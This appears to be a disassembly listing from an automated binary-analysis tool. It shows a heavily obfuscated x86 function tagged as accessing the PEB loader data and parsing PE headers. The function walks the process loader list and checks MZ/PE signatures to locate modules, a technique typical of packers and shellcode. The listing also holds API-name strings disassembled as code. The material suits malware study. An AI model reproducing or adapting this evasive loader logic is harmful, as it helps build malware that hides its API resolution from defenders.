Function at 0x111f4f0
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
add eax, 0xcdde75e9
inc esp
dec ebx
retf 0xa48e
push word [esp + 5]
pop word [esp + 1]
lea esp, [esp + 2]
jmp 0x1119f6c
inc dword [eax + 0xffa014]
pushfd
sub esp, 0xc
push dword [esp + 0xa]
push word [esp + 3]
jmp 0x1119f40
lea esp, [esp + 0x10]
clc
push edx
mov dword [esp], eax
push edx
mov word [esp + 4], dx
jmp 0x1119fd6
push eax
jmp 0x111a022
mov dword [esp + 1], ecx
sete ch
mov ch, 0xfe
push esp
call fcn.01119fa9
call 0x111a027
jmp 0x111b1ee
add esp, 6
mov di, dx
push edx
push esp
xchg byte [esp + 2], bl
inc bl
jmp 0x111b039
mov word [esp + 7], di
bsf di, si
pop dword [esp + 2]
mov ebx, 0x1c9f4ffe
lea esp, [esp + 2]
mov edi, dword [esp + 4]
jmp 0x111affe
mov di, 0xdb87
pop edi
pop edi
mov cl, ch
not ebx
xchg ebx, edi
jmp 0x111b11b
pop word [esp + 5]
xchg edi, ecx
mov edi, ebx
bsr di, cx
mov cx, 0x951f
pop word [esp + 5]
jmp 0x111b01d
mov bl, 0xdc
xchg dword [esp + 0xb], edi
push word [esp + 6]
pop ecx
mov word [esp], dx
mov byte [esp + 7], ch
jmp 0x111b058
xchg dword [esp + 0xe], edi
bswap ecx
pop word [esp + 8]
mov edi, dword [esp + 4]
mov byte [esp + 1], ah
call fcn.0111b08c
mov edi, 0xff499572
stc
neg cx
mov di, word [esp]
bts edi, ebx
sub esp, 0x14
jmp 0x111b0aa
pop dword [esp + 6]
inc cl
pop word [esp + 0x15]
add esp, 7
mov bl, 0x4c
sub bl, ch
jmp 0x111b076
pop eax
sub eax, 0x111a027
cmp dword [eax + reloc.RASAPI32.dll_RasHangUpA], 0
jmp 0x111b201
je 0x1119f57
jne 0x111b2c1
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
inc esi
jb 0x111b27b
add bh, dh
shl dword [eax + 0x66], 1
bsf ecx, esi
mov ecx, dword [esp + 0x45]
lea esp, [esp + 0x4c]
popfd
jmp 0x111b276
push 0xe24ace6a
add dword [esp], reloc.RASAPI32.dll_RasHangUpA
call fcn.0111b25f
pop word [esp + 1]
push word [esp + 5]
mov dword [esp + 3], esi
pop word [esp + 1]
jmp 0x111b2a9
push word [esp + 1]
lea esp, [esp + 3]
lea esp, [esp + 3]
push word [esp + 1]
jmp 0x111b30a
lea esp, [esp + 8]
popal
jmp 0x111887e
pop word [esp]
mov byte [esp], bh
push word [esp + 1]
lea esp, [esp + 1]
call fcn.0111b2f0
inc esi
imul ebp, dword [esi + 0x64], 0x6f736552
jne 0x111b39b
arpl word [ebp + 0x41], sp
add byte [ebp - 0x24], cl
das
mov bl, bh
mov edi, edx
mov cx, 0x9fdd
mov edi, eax
pushal
bswap edi
jmp 0x111b162
pushal
call 0x111b438
dec esp
outsd dx, dword [esi]
arpl word [ebx + 0x52], bp
jae 0x111b418
jne 0x111b41d
arpl word [ebp], sp
xor eax, 0x89be5724
push word [esp + 1]
mov dword [esp], eax
pop word [esp]
call 0x111b39b
inc esi
imul ebp, dword [esi + 0x64], 0x736f6c43
add byte gs:[eax], ch
ljmp 0x74ff:0x66a7b405
push word [esp + 0x15]
push dword [esp + 0x15]
mov dword [esp + 0x25], ecx
pushal
lea esp, [esp + 0x4a]
call fcn.0111b3f9
dec ecx
jae 0x111b489
imul ebp, dword [esi + 0x64], reloc.RASAPI32.dll_RasHangUpA
pop dword [esp + 0x1d]
mov dword [esp + 0x17], eax
jmp 0x111b41c
pop dword [esp]
pushal
lea esp, [esp + 0x1a]
mov word [esp + 4], dx
and al, 4
mov word [esp + 4], sp
call fcn.0111b522
inc edi
je 0x111b4df
outsd dx, dword [esi]
arpl word [ebp + 0x73], si
add byte [esi - 0x71], dl
push esp
pop word [esp + 6]
pop word [esp + 2]
push dword [esp + 1]
mov byte [esp + 3], ah
jmp 0x111b47e
mov byte [esp + 5], dh
push word [esp + 2]
pop dword [esp]
mov byte [esp + 3], ch
pop word [esp]
call fcn.0111b4f9
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
push edx
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
in eax, dx
cld
push dword [esp + 4]
and al, 4
pop word [esp + 5]
pop dword [esp + 2]
pop dword [esp]
mov word [esp + 4], bx
mov word [esp + 2], sp
jmp 0x111b4b3
call 0x111e0ad
jmp 0x111f561
movzx ebx, word [eax + 0x3c]
jmp 0x111f683
pop word [esp + 5]
push word [esp + 7]
lea esp, [esp + 1]
jmp 0x111f50b
mov dword [esp], ecx
pop word [esp]
lea esp, [esp + 6]
lea esp, [esp + 1]
jmp 0x111f543
mov eax, dword [eax + 0x1c]
jmp 0x111f556
mov dword [esp + 0x54], edi
lea esp, [esp + 0x54]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x111f52d
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x111e0a8
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
jmp 0x111f63b
je 0x111e0b2
sub eax, 0x10000
jmp 0x111f565
add ebx, eax
cmp word [ebx], 0x4550
je 0x1119f89
jne 0x111f641
mov bh, 0x3b
stosd dword es:[edi], eax
into
cmp eax, 0xb21c9fef
aad 0x24
ret 0x69eb